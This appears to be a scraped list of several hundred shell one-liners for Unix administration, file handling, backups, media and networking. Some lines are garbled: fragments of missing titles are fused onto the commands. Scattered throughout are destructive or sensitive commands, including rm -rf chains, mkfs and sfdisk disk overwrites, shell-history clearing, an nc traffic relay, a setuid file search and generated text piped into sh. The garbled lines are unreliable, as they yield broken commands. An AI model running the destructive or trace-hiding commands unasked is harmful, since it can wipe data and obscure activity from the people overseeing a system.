egrep -ie "<*HREF=(.*?)>" index.html | cut -d "\"" -f 2 | grep ://
type {command} >/dev/null
gnome-terminal --tab --tab --tab
dir=$(pwd); while [ ! -z "$dir" ]; do ls -ld "$dir"; dir=${dir%/*}; done; ls -ld /
chvt 7 ; sleep 2 ; DISPLAY=:0.0 import -window root screenshot.png
find . -type d -exec mkdir /copy_location/{} \;
the processalias oports="echo 'User: Command: Port:'; echo '----------------------------' ; lsof -i 4 -P -n | grep -i 'listen' | awk '{print \$3, \$1, \$9}' | sed 's/ [a-z0-9\.\*]*:/ /' | sort -k 3 -n |xargs printf '%-10s %-10s %-10s\n' | uniq"
date --utc --date "2009-02-06 09:57:54" +%s
`find . -iname ".svn" -type d | sed -e "s/^/rm -rfv /g"`
pinfo date
git remote add origin git@SSH-HOST:<USER>/<REPOSITORY>.git
truecrypt volume.tc
style TEXT-FILE
dpkg --compare-versions 1.0-2ubuntu5 lt 1.1-1~raphink3 && echo y || echo n
paste --serial file1 file2 file3
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
cuebreakpoints <cue file> | shnsplit -o <lossless audio type> <audio file>
svn log fileName|cut -d" " -f 1|grep -e "^r[0-9]\{1,\}$"|awk {'sub(/^r/,"",$1);print "svn cat fileName@"$1" > /tmp/fileName.r"$1'}|sh
ile.sudo ls -RFal / | gzip > all_files_list.txt.gz
gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done
sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http
scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
USER, making this easy to grep for.log() { (echo "\$ $@";$@) | logger -t $USER; }
watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'
(pv -n ~/database.sql | mysql -u root -pPASSWORD -D database_name) 2>&1 | zenity --width 550 --progress --auto-close --auto-kill --title "Importing into MySQL" --text "Importing into the database"
${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (# of days valid)] -keyalg RSA -keystore (Path to keystore)
rkhunter --versioncheck --update --propupd --check
alias l='ls -CFlash'
denyhosts-remove $IP_ADDRESS
p(){ c=$(($(tput cols)-3));j=$(($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++));do printf "=";done;)>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=100; i++));do p i;done;echo
curl -Is google.com | grep Date
perl -e "alarm 10; exec @ARGV" "somecommand"
zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd
telnet towel.blinkenlights.nl 666 | sed "s/=== The BOFH Excuse Server ===//" | tr -d '\n' && echo
vi ~/journal/$(date +%F)
history -c
mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2
date -d @$(echo $((2 ** 31 - 1)))
lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }
find . -type f ! -exec grep -q 'STRING' {} \; -print
nd directories with spacesfind . -uid 0 -print0 | xargs -0 chown foo:foo
sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }
echo "($(date +%s)-$(date +%s -d "march 1"))/86400"|bc
svn log | perl -ne 'chomp; if (/^-{10}/) {print "\n" if $l; $l=0}; s/[^|]*$// && print if $l==1; print if $l==3; $l++'
lsb-release -a
perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' < /var/log/squid/access.log
( command1 arg arg ; command2 arg ) ...
while true ; do echo -n "`date`";curl localhost:3000/site/sha;echo -e;sleep 1; done
ps -o ppid= <given pid> | xargs ps -p
su - $user -c <command>
ls -l $(type -path -all java)
find . \( -name "*.php" -o -name "*.js" \) -exec svn propset svn:keywords Id {} \;
find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'
pinky -l <username>
bc -l <<< "x=2; p=0.5; e(l(x)*p)"
alias info='info --vi-keys'
rename 's/\b((?!(a|of|that|to)\b)[a-z]+)/\u$1/g' *
find /src/dir/ -mtime -10 -printf %P\\0|rsync --files-from=- --from0 /src/dir/ /dst/dir/
errpt -a | more
google calendar list --date `date --date="next thursday" +%Y-%m-%d`
find . -type f -regex '.*/core\.?[0-9]*$' -delete
sudo hdparm -Tt /dev/sda
cmp -l file1.bin file2.bin | wc -l
cat *.txt >output.txt
find / -perm +6000 -type f -exec ls -ld {} \;
find ~ -name '*.mp4' | xargs mplayer
ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'
". from Ed Marczak.plutil -lint plist-file
spellcheck(){ curl -sd "<spellrequest><text>$1</text></spellrequest>" https://www.google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'; }
svn log -v --xml file:/path/to/rep | grep kind=\"file\"|wc -l
i=$((15*60)); while [ $i -gt 0 ]; do clear; echo $i | figlet; sleep 1; i=$(($i-1)); done;
iptables -L -n --line-numbers | grep xx.xx.xx.xx
ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -
curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2'
ls -l | awk '$5 > 1000000' | sort -k5n
mplayer -shuffle *
while (true); do clear; uname -n; echo ""; df -h /; echo ""; tail -5 /var/log/auth.log; echo ""; vmstat 1 5; sleep 15; done
mysql --pager="less -niSFX"
od -c <file>
mage
printf "%s\n" .*
ps uH p <PID_OF_U_PROCESS> | wc -l
less -r <some file>
grep CONFIG $(which mysqlbug)
lst=`dpkg -L iptables` ; for f in $lst; do if [ -x $f ] && [ ! -d $f ] ; then echo $f; fi; done;
sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg
echo $VARIABLE | xargs -d'\40' -n 6 echo
xhost +local:
wget -q -O- --header\="Accept-Encoding: gzip" <url> | gunzip > out.html
smartctl -A /dev/sda | grep Power_On_Hours
pushd .
find * -type d -maxdepth 0
perl -pe 's/.+;//' ~/.zsh_history | sort | uniq -c | sort -r|head -10
find . -type f | while read file; do cp $file ${file}.bak; done
ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi
countbraces () { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; }
find ./ ! -name 'excludepattern' | xargs -i cp --parents {} destdir
plowdown http://www.megaupload.com/?d=abc1234567
od /dev/urandom -w6 -tx1 -An|sed -e 's/ //' -e 's/ /:/g'|head -n 1
dig hostname a +short
pidof () { ps acx | egrep -i $@ | awk '{print $1}'; }
git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] . "\n";'
/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t
record'screencast() { arecord -R 1000 -f cd -t wav $1.wav & RECPID=$!; echo "Starting screencast in new shell. Exit subshell to quit."; script -t 2> $1.timing -a $1.session; kill $RECPID; }
tar -cvz /<path>/ | gpg --encrypt --recipient <keyID> > /<backup-path>/backup_`date +%d_%m_%Y`.tar.gz.gpg
cp /some/path/to/myfile{,.back}
perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done
sqlite3 -noheader -list ~/.mozilla/firefox/<your_profile>/permissions.sqlite "select host from moz_hosts where type='image' and permission=2"
wmsetbg -s -u path_to_wallpaper
zcat -f $(ls -tr access.log*)
echo ${file##*/}
sudo iptables -L -nv
tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1
markdown doc.md | htmldoc --cont --headfootsize 8.0 --linkcolor blue --linkstyle plain --format pdf14 - > doc.pdf
inet_ip=`ifconfig wlan0 | grep inet | cut -d: -f2 | cut -d ' ' -f1` && echo $inet_ip
find . | shuf -n1
rsync -av -e ssh user@host:/path/to/file.txt .
tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination/path/backupfile.tgz
perror NUMBER
alias onlyx='nohup startx & disown ; exit'
cflow file.c | grep ':$' | sed 's/ <.*//'
cal [[month] year]
your e-mailawk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'
find . -regextype posix-extended -not -regex '.*/[A-Za-z_]*([.][A-Za-z_]*)?'
find . -name "*.jar" | while read line; do unzip -l $line; done | grep your-string
watch -n1 sudo "lsof -n | grep -E 10.0.0.1.*2.1.1.1"
stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0
tar cvzf - data1 data2 | uuencode data.tar.gz | mail -s 'data' [email protected]
schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe
du --max-depth=1 -m
net=DTAG-DIAL ; for (( i=1; i<30; i++ )); do whois -h whois.ripe.net $net$i | grep '^inetnum:' | sed "s;^.*:;$net$i;" ; done
python -c 'p="SeCuR3PwD";import hashlib as h;s=h.md5(p).hexdigest()[:2];pw=h.md5(s+p).hexdigest();print pw+":"+s;'
du -aB1m|awk '$1 >= 100'
sortwc () { local L;while read -r L;do builtin printf "${#L}@%s\n" "$L";done|sort -n|sed -u 's/^[^@]*@//'; }
zless +/search_pattern file.gz
tar -c bins/ | gzip -9 | openssl enc -base64
convert -resize 50%x50% image{,_resize}.jpg
yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade ; reboot
grep -oE "ssid=\".*\"" /etc/wpa_supplicant.conf | cut -c6- | sed s/\"//g | zenity --list --title="Choose Access Point" --column="SSID"
for n in * ; do mv $n `echo $n | tr '[:lower:]' '[:upper:]'`; done
tail -f /var/www/logs/domain.com.log | grep "POST /scripts/blog-post.php" | grep -v 192.168. | awk '{print $1}' | xargs -I{} iptables -I DDOS -s {} -j DROP
debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/
lspci -v | perl -ne '/VGA/../^$/ and /VGA|Kern/ and print'
pgrep -cu ioggstream
ps -eo %cpu,args | grep -m1 PROCESS | awk '{print $1}'
fsck.ext4 -cDfty -C 0 /dev/sdxx
svn add --force *
apt-get --just-print upgrade
find * -type f -not -name ".*" | xargs wc -l
bind '"\t":menu-complete'
awk 'NR%2'
openssl s_client -connect localhost:443 -ssl2
sed -e '/^$/d' -e '/^#/d' -e '/initrd/ a\ ' -e 's/hiddenmenu//g' -e '/^timeout/d' -e '/default/ a\timeout\t\t15' -e 's/quiet//g' -e 's/splash/rootdelay=60/g' /boot/grub/menu.lst > /boot/grub/menu.lst.new
ls -1d */
watch -n 30 uptime
sudo tcpdump -nnvvXSs 1514 -i lo0 dst port 5432
echo -n "convert " > itcombino.sh; printf "IMG_%00004u.png " {1..1121} >> itcombino.sh; echo -n "-layers merge _final.png" >> itcombino.sh; chmod +x itcombino.sh && ./itcombino.sh
sed 's/^[ \t]*//;s/[ \t]*$//' -i file
ip route | grep default | awk '{print $3}'
while [ i != 0 ]; do sleep 1 | dialog --clear --gauge "Quality: " 0 0 $(cat /proc/net/wireless | grep $WIRELESSINTERFACE | awk '{print $3}' | tr -d "."); done
systemecho $((`eix --only-names -I | wc -l` * 100 / `eix --only-names | wc -l`))%
rcconf
sed -i 's/[ \t]*$//' file
sed -i 's/^\s\+//' <file>
pidof httpd | sed 's/ / -p /g' | xargs strace -fp
URL=www.example.com && wget -rq --spider --force-html "http://$URL" && find $URL -type d > url-list.txt && rm -rf $URL
sudo chattr -i <file that cannot be modified>
e rhythmdb.xml file.grep -A 5 -e podcast-feed rhythmdb.xml | grep -e "<location>" | sed 's: *</*[a-t]*>::g' > PodFeeds.txt
sed 's/^\s*//;s/\s*$//' -i file
n optionfunction cpaste () { gpg -o - -a -c $1 | curl -s -F 'sprunge=<-' http://sprunge.us } function dpaste () { curl -s $1 | gpg -o - -d }
find ./ -not -type d | xargs wc -l | cut -c 1-8 | awk '{total += $1} END {print total}'
awk '/.*{$/{s[$1]=z[$1]=j+0}{l[j++]=$0}END{asorti(s);for(v in s){while(l[z[s[v]]]!~/}$/)print l[z[s[v]]++];print"}"ORS}}'
, landing on 1st matchX='pattern'; vim +/"$X" `egrep -lr "$X" *`
ps -o comm,%mem,args -u www-data
curl -s http://ws.audioscrobbler.com/1.0/user/<user_id>/recenttracks.rss|grep '<title>'|sed -n '2s/ *<\/\?title>//gp'
ast mail log rolloversed -n -e '/postfix\/smtp\[.*status=sent/s/^.*to=<\([^>]*\).*$/\1/p' /var/log/mail.log | sort -u
find . -name '*.txt' -print0 | parallel -0 -j+0 lzma
wget --auth-no-challenge --server-response -O- $url 2>&1 | grep "Cookie" | sed "s/^ Set-//g" > cookie.txt; wget --auth-no-challenge --server-response --http-user="user" --http-password="pw" --header="$(cat cookie.txt)" -O- $url
nc -l -p 7777 > /dev/null
formail -Y -s /usr/sbin/sendmail [email protected] < /var/mail/foo
mysqldump --host=[remote host] --user=[remote user] --password=[remote password] -C db_name | mysql --host=localhost --user=[local user] --password=[local password] db_name
grep -R usepackage * | cut -d']' -f2 | cut -s -d'{' -f 2 | sed s/"}"/.sty"}"/g | cut -d'}' -f1 | sort | uniq | xargs dpkg -S | cut -d':' -f1 | sort | uniq
while true; do du -s <file_or_directory>; sleep <time_interval>; done
ead -10 | nl
$(STEEP=300; sleep $STEEP; xmessage "Your tea is done") &
resolveip -s www.freshmeat.net
du -ms * 2>/dev/null |sort -nr|head
find . -type f -print0 | xargs -0 md5sum
netstat -lnp6 | grep :8080 | sed 's#^[^\/]*/\([a-z0-9]*\)#\1#'
set list / set nolist
ping google.com | tee ping-output.txt
(curl -d q=grep http://www.commandlinefu.com/search/autocomplete) | egrep 'autocomplete|votes|destination' | perl -pi -e 's/a style="display:none" class="destination" href="//g;s/<[^>]*>//g;s/">$/\n\n/g;s/^ +//g;s/^\//http:\/\/commandlinefu.com\//g'
while [ -n "`pgrep wget`" ]; do sleep 2 ;done; [ -e "/tmp/nosleep"] || echo mem >/sys/power/state
for i in `seq 1 1 50`; do echo -n -; done
perl -le 'opendir DIR, "." or die; print while $_ = readdir DIR; closedir DIR'
shuf -n4 /usr/share/dict/words | sed -e ':a;N;$!ba;s/\n/ /g;s/'\''//g;s/\b\(.\)/\u\1/g;s/ //g'
rehash
aptitude keep-all
supportsWrap(){ ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }
while true; do sleep $(($RANDOM/1000)) && beep -f 2000 -l $(($RANDOM/100)) ; done
cat file.txt | sort | uniq -dc
SITE="www.google.com"; curl --silent "http://www.shadyurl.com/create.php?myUrl=$SITE&shorten=on" | awk -F\' '/is now/{print $6}'
sed -n 's/\([0-9]\{1,3\}\.\)\{3\}[0-9]\{1,3\}/\nip&\n/gp' ips.txt | grep ip | sed 's/ip//'| sort | uniq
mkfs.vfat /dev/sdc1
mkdir $(date +%F)
cut -d, -f5
curl http://www.cpan.org/modules/01modules.index.html |awk '{print $1}'|grep -v "<"|sort|uniq -c|grep -v " +[0-9] "
genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
sox input.wav output.wav reverse trim 00:00:00.3 reverse
vimdiff scp://[user@]host1/<file> scp://[user@]host2/<file>
find . -name '*.html' -exec 'sed' 's/.*class="\([^"]*\?\)".*/\1/ip;d' '{}' ';' |sort -su
xmlstarlet sel -N x="http://purl.org/net/ulf/ns/0.4-02" -T -t -m "//x:message" -v "concat(substring(@time,12,5),' < ',@sender,'>', ' ',.)" -n
endnl () { [[ -f "$1" && -s "$1" && -z $(tail -c 1 "$1") ]]; }
ifconfig|sed '/inet/!d;/127.0/d;/dr:\s/d;s/^.*:\(.*\)B.*$/\1/'
mkdosfs /dev/sdx1
perl -e 'unlink grep { -f -B } <*>'
alias google='open http://www.google.com/search?q="'
sqlite3 ~/.liferea_1.4/liferea.db 'VACUUM;'
grep test somefile | grep -v -e error -e critical -e warning
mysqldump -u<dbusername> -p<dbpassword> <databasename> --no-data --tables
find * \( -name "*.[hc]pp" -or -name "*.py" -or -name "*.i" \) -print0 | xargs -0 wc -l | tail -n 1
ifconfig -a | nawk 'BEGIN {FS=" "}{RS="\n"}{ if($1~ /:/) {printf "%s ", $1}}{ if($1=="inet") {print " -- ",system("arp "$2)}}'|egrep -v "^[0-9]$"
tr -d "\n\r" | grep -ioEm1 "<title[^>]*>[^<]*</title" | cut -f2 -d\> | cut -f1 -d\<
texdoc packagename
find /mountpoint -type f -iregex '.*\.\(doc\|xls\)'
ar in shell historyexport HISTIGNORE=' cd "`*: PROMPT_COMMAND=?*?'
ps auxww |grep " dd " |grep -v grep |awk '{print $2}' |while read pid; do kill -USR1 $pid; done
n. Also with managment tools.pushd /directory/to/remember
find -type f -name "*.xml" -exec xmllint --noout {} \;
sed 2~2d
dig -x {IP}
tar -czf ../header.tar.gz $(find . -name *.h)
mdadm -X /tmp1/md2bitmap
0G #actual newsize#;lvreduce --size 200G /dev/device; mount /media/filesystem; df -h /media/filesystem
for i in `df -P |grep string|cut -f2 -d%|cut -c2-100`; do umount -l -f $i;done
more xx.m3u |grep -v "^#" |xargs -i cp {} target
w=`whereis <command> | awk '{print $2}'`; p=`pacman -Qo $w | sed -e 's/.*is owned by \([[:alpha:]]\+\).*/\1/'`; pacman -Ql $p | grep 'bin'
du -sh ~/*
ls -1t --group-directories-first /path/to/dir/ | tail -n 1
mv .git .. && rm -rf * && mv ../.git . && mv .git/* . && rmdir .git && git config --bool core.bare true
fuser -k `who -u | awk '$6 == "old" { print "/dev/"$2'}`
gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
who -u|grep -v root|awk {'print $6'}|kill `awk {'print $0'}`
dd if=/path/to/inputfile of=/path/to/outputfile & pid=$! && sleep X && while kill -USR1 $pid; do sleep X; done
vlc --one-instance --playlist-enqueue -q $(while read netcast; do wget -q $netcast -O - |grep enclosure | tr '\r' '\n' | tr \' \" | sed -n 's/.*url="\([^"]*\)".*/\1/p'|head -n1; done <netcast.txt)
tingdu -a --max-depth=1 | sort -n
qdbus org.kde.powerdevil /modules/powerdevil setProfile <Profilename>
while ping -c 1 127.0.0.1 > /dev/null; do acpi -t -f | while read tem; do notify-send "$tem"; done; sleep 300; done
smbcacls //server/sharename file -U username
ps -eo user,pcpu,pmem | tail -n +2 | awk '{num[$1]++; cpu[$1] += $2; mem[$1] += $3} END{printf("NPROC\tUSER\tCPU\tMEM\n"); for (user in cpu) printf("%d\t%s\t%.2f%\t%.2f%\n",num[user], user, cpu[user], mem[user]) }'
sync; echo 3 > /proc/sys/vm/drop_caches
tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/
if [[ `:$(cal);echo $_` == `date +%d` ]]; then ROTATE_MONTHLY_TABLES_SCRIPT;fi
watch -n .5 "iwlist wlan0 scan"
tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
watch -n1 -d !!
wodim -v speed=4 dev='/dev/scd0' foo.iso
svn propedit svn:ignore .
nroff -u0 -Tlp -man /usr/openwin/man/man1/Xsun.1 | col -x | less
awk -F\" '{print $4}' *.log | grep -v "eviljaymz\|\-" | sort | uniq -c | awk -F\ '{ if($1>500) print $1,$2;}' | sort -n
find -mindepth 1 -maxdepth 1 -name .\*
httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^DocumentRoot' | cut -f2 -d'"'
c=$(pgrep <cmd>) && <new_cmd> && kill $c
perl -C -e 'print for sort { length $a <=> length $b or $a cmp $b } <>' < /usr/share/dict/words | tail
urpmf lib/blah
tar cf - dir_to_cp/ | (cd path_to_put/ && tar xvf -)
DIR=. ; FSTYPE=$(df -TP ${DIR} | grep -v Type | awk '{ print $2 }') ; echo "${FSTYPE}"
getent passwd | awk -F: '($3>600) && ($3<10000) && ($3>maxuid) { maxuid=$3; } END { print maxuid+1; }'
ps ax | egrep "*.exe|*exe]" | awk '{ print $1 }' | xargs kill
export http_proxy=<user>:<pass>@<server>:<port> ftp_proxy=<user>:<pass>@<server>:<port>
LATEST=`readlink /boot/vmlinuz`; OLD=`readlink /boot/vmlinuz.old`; cat /boot/grub/grub.conf | sed -i -e 's/\(Latest \[[^-]*\).*\]/\1-'"${LATEST#*-}"]'/1' -e 's/\(Old \[[^-]*\).*\]/\1-'"${OLD#*-}"]'/1' /boot/grub/grub.conf
take() { mkdir -p $1 && cd $1; }
typeset -f <function-name>
map ^A !}fmt
find . -maxdepth 1 -type d -exec 'mv "{}" "{}-old" && svnadmin create "{}" && svnadmin recover "{}-old" && svnadmin dump "{}-old" | svnadmin load "{}" && rm -rf "{}-old"' \;
wget -O - http://www.commandlinefu.com/commands/browse/rss 2>/dev/null | awk '/\s*<title/ {z=match($0, /CDATA\[([^\]]*)\]/, b);print b[1]} /\s*<description/ {c=match($0, /code>(.*)<\/code>/, d);print d[1]} ' | grep -v "^$"
isgd () { curl 'http://is.gd/create.php?format=simple&url='"$1" ; printf "\n" }
printf $(echo -n $1 | sed 's/\\/\\\\/g;s/\(%\)\([0-9a-fA-F][0-9a-fA-F]\)/\\x\2/g')
each() { (IFS=$'\n'; echo "$*") }
SELECT table_schema "Data Base Name", sum( data_length + index_length ) / 1024 / 1024 "Data Base Size in MB" FROM information_schema.TABLES GROUP BY table_schema ;
/usr/local/bin/svn merge -r {rev_num}:HEAD https://{host}/{project}/branches/{branch_name} .
find dir/ -type f | xargs tail -fqn0
git log --pretty='format:%Cgreen%H %Cred%ai %Creset- %s'
matted help or man page when asked!!process-getopt
rsync -vd --files-from=<(find . -name entries -print ) . ../target_directory
for((i=0;i<10;i++)) do tmp=`wget -O- -U "" "http://images.google.com/images?imgsz=xxlarge&hl=es&q=wallpaper&sa=N&start=$(($RANDOM%700+100))&ndsp=10" --quiet|grep -oe 'http://[^"]*\.jpg'|head -1`;[[ $tmp != "" ]] && wget $tmp || echo "Error $[$i+1]";done
rdp() { ssh $1 sh -c 'PATH=$PATH:/usr/local/bin; x11vnc -q -rfbauth ~/.vnc/passwd -display :0' & sleep 4; vncviewer $1:0 & }
gnome-terminal -e "bash -c \"ffmpeg -f x11grab -r 25 -s $(xwininfo -root |sed -n 's/ -geometry \([0-9x]*\).*/\1/p') -i :0.0 -vcodec huffyuv -sameq ~/Desktop/screencast.avi; exec bash\""
ruby -ne 'puts $_.split.collect(&:capitalize).join(" ")' <<< "pleAse cOuld YOu capiTalizE Me"
LC_ALL=fr_FR luit ssh root@remote_machine_ip
gnome-open [path]
jb() { if [ -z $1 ];then printf 'usage:\njb <"date and/or time"> <"commandline"> &\nsee parsedate(3) strftime(3)\n';else t1=$(date +%s); t2=$(date -d "$1" +%s) ;sleep $(expr $t2 - $t1);$2 ;fi ;}
rd(){ while read a ;do printf "$a\n";sleep ${1-1};done ;} # usage: rd < file ; or ... | rd
lsr() { find "${@:-.}" -print0 |sort -z |xargs -0 ls $LS_OPTIONS -dla; }
aureport -x
for i in `seq 1 3`; do scp finku@server$i:file.txt server$i-file.txt; done
cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc
gqG
ssh -tq -o "BatchMode yes" $HOST <some_command> >> to_a_file
pushd +2; pushd -2
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'
curl -sS -o $outfile -m $showlengthinseconds $streamurl
svn stat -u | sort | sed -e "s/^M.*/\o033[31m&\o033[0m/" -e "s/^A.*/\o033[34m&\o033[0m/" -e "s/^D.*/\o033[35m&\o033[0m/"
find /DirectoryWhereMyMp3sAre/ -regextype posix-egrep -iregex '.*?\.(ogg|mp3)' | sort > ~/mylist.m3u
echo "Terrorist threat level: $(wget -q -O - http://is.gd/wacQtQ | tail -n 1 | awk -F\" '{ print $2 }')"
find . \( -type d -name .svn -prune \) -o -print | while read file ; do mergeinfo=`svn propget svn:mergeinfo $file` ; [ "$mergeinfo" != "" ] && echo -e "$file\n $mergeinfo\n" ; done
perl -pe 's/%([0-9a-f]{2})/sprintf("%s", pack("H2",$1))/eig'
for host in $(cat ftps.txt) ; do if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep -v 'Connected to' >/dev/null; then echo -en "FTP $host KO\n"; fi done
function skreemplay() { lynx -dump "http://skreemr.com/results.jsp?q=$*" | grep mp3$ | sed 's/^.* //' | xargs mplayer }
hwclock --systohc -utc
ssh [user]@[host] "ogg123 -" < [podcast].ogg
openssl dgst -sha256 <<<"test"
awk -F" " '{ if ( NF == 1 ) { print $0 } }' KINDLE_NOTES_FILE.txt | sed -e '/^=/d' | sed -e '/^[[:space:]]*$/d' -e 's/,//g' | sort | comm -12 List_of_language_words.txt - | uniq
apropos somekeyword
prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2
shuf -n1 /usr/share/dict/words | tee >(sed -e 's/./&\n/g' | shuf | tr -d '\n' | line) > /tmp/out
sfdisk -d /dev/sda | sed 's/sda/sdb/g' | sfdisk /dev/sdb
find -E ~/Music -type f -iname "*search terms*" -iregex '.*\.(3g[2|p]|aac|ac3|adts|aif[c|f]?|amr|and|au|caf|m4[a|r|v]|mp[1-4|a]|mpeg[0,9]?|sd2|wav)' -exec afplay "{}" \; &
mencoder -forceidx -of lavf -oac copy -ovc copy -o output.flv clip1.flv clip2.flv clip3.flv
cat /proc/PID/environ | tr '\0' '\n'
ping localip -c 1 -W 1 &> /dev/null && ssh localip || ssh globalip
tempo=33; slope=10; maxfreq=888; function sinus { echo "s($1/$slope)*$maxfreq"|bc -l|tr -d '-'; }; for((i=1;;i++)); do beep -l$tempo -f`sinus $i`; done
curl -u USERNAME:PASSWORD -d "" http://twitter.com/friendships/create/NAMEOFNEWFRIEND.xml?follow=true
ps ewwo command PID | tr ' ' '\n' | grep \=
mencoder -vf rotate=1 -ovc lavc -oac copy "$1" -o "$1"-rot.avi
mgc() { grep --exclude=cscope* --color=always -rni $1 . |perl -pi -e 's/:/ +/' |perl -pi -e 's/^(.+)$/vi $1/g' |perl -pi -e 's/:/ /'; }
function cp_mp3_to { PID=`pidof audacious2`; FILEPATH=`lsof -p $PID| grep mp3| sed s/[^\/]*//`; cp "$FILEPATH" "$1"; }
vim -c'highlight Comment ctermfg=white' my.conf
sed -i.backup '/patter/{n;s/foo/bar/g}' file
echo `cat /dev/urandom |tr -dc "[:alnum:]" | head -c64`
find $(pwd) -type f -exec grep -l "$(echo "\r")" {} \;
lsof -c $processname | egrep 'w.+REG' | awk '{print $9}' | sort | uniq
sudo find . -maxdepth 1 -cnewer olderFilesNameToMove -and ! -cnewer newerFileNameToMove -exec mv -v {} /newDirectory/ \;
wget http://forums.dropbox.com && wget $(cat index.html|grep "Latest Forum Build"|cut -d"\"" -f2) && wget $(cat topic.php*|grep "Linux x86:"|cut -d"\"" -f2|sort -r|head -n1) && rm -rf ~/.dropbox* && rm index.html *.php* && tar zxvf dropbox-*.tar.gz -C ~/
tail -f /var/log/messages | espeak
vi +4 /etc/mtab
while notify-send "`acpi -t`"; do sleep 300; done
ls -Q * | xargs -p rm
ead of the default hashgit log --reverse --pretty=oneline | cut -c41- | nl | sort -nr
gksudo gedit /etc/passwd &
alias QUERY='psql -h $MYDBHOST -p 5432 -d $MYDB -U $MYLOGIN --no-align'
kill -SIGHUP `cat /var/run/mydns.pid`
cd !$
watch -n 60 du /var/log/messages
sudo arp-scan --interface=eth0 -l
find . -iname "FILENAME" -exec sed -i 's/SEARCH_STRING/REPLACE_STRING/g' {} \;
say='festival --tts'; S=$(date +%s); echo $(echo $S | cut -b 1-1)" billion" | $say ; echo $(echo $S | cut -b 2-4 | sed 's/0*//')" million"| $say; echo $(echo $S | cut -b 5-7 | sed 's/0*//')" thousand"| $say
netstat -alnp | grep ::80
find filepath -type f -iname "*.html" -o -iname "*.htm" -o -iname "*.php" | xargs grep "Exception\|LGPL\|CODE1"
for i in `cat /proc/net/ip_tables_names`; do iptables -nL -v --line-numbers -t $i ; done
psql
fortune -o | espeak
for i in `svn log -r{2011-02-01}:HEAD | awk '$3 == "user" {print $1}'`; do svn log -v -$i;done
